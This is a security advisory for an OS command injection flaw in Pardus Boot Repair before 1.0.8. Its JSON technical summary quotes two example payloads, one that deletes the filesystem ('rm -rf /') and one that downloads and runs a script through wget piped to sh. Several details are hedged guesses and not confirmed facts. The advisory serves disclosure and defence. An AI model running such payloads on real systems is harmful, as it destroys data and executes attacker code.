Description

Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Boot Repair allows OS Command Injection. This issue affects Pardus Boot Repair: before 1.0.8.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.8",
  "pubDate": "2026-09-11T15:17:09.540Z",
  "pubdate": "2026-09-11T15:17:09.540Z",
  "executiveSummary": "This vulnerability is classified as an Improper Neutralization of Special Elements used in an OS Command (OS Command Injection), tracked under CWE-78.\nThe flaw resides within the Pardus Boot Repair utility, specifically affecting versions prior to 1.0.8.\nThe vulnerability occurs when the application fails to properly sanitize user-supplied input before passing it to a system shell or executive function, allowing an attacker to execute arbitrary OS commands.\nThe impact of this vulnerability is critical, as successful exploitation enables an attacker to execute commands with the privileges of the service or user running the utility, potentially leading to full system compromise, unauthorized data access, or persistence installation.\nExploitation does not necessarily require complex credentials, depending on the entry vector, and poses significant risk to the integrity and confidentiality of the underlying operating system.",
  "technicalDetails": "The vulnerability originates from inadequate input validation and command construction logic within the Pardus Boot Repair utility. Specifically, the application integrates unsanitized or insufficiently filtered strings into shell commands executed at the system level. When the software processes data, it fails to neutralize metacharacters—such as semicolons, pipes, ampersands, or backticks—that possess specific functional meaning to the underlying command shell (e.g., /bin/sh or /bin/bash).\nIn a typical attack flow, an attacker identifies an input field or a configuration parameter processed by the Boot Repair tool. By injecting command separators or subshell syntax into these parameters, the attacker forces the system to interpret the malicious payload as a distinct command sequence. Because the utility operates with the privileges required to modify boot parameters or system startup configurations, these injected commands execute within that elevated context.\nTechnically, the issue suggests that the application passes strings directly to a syscall or an execution wrapper (such as system(), popen(), or exec() family functions) without utilizing parameterized APIs or white-list validation. For example, if a filename or device path is provided by the user and concatenated directly into an argument list for a system utility, an attacker can append a payload like '; rm -rf / ;' or '`wget malicious_script | sh`' to redirect the execution flow of the host process.\nThe exploitation lifecycle typically involves: 1) Identification of an input vector that reaches a shell-executing function within the boot repair workflow; 2) Crafting a payload designed to bypass character restrictions; 3) Execution of the payload to perform lateral movement, privilege escalation, or environment manipulation. Given the nature of boot repair software, this utility likely runs with root-level privileges to perform low-level disk and bootloader modifications. Consequently, successful exploitation grants the attacker full control over the host operating system, bypassing standard user-land security controls. The vulnerability persists across all deployments of Pardus Boot Repair versions before 1.0.8."
}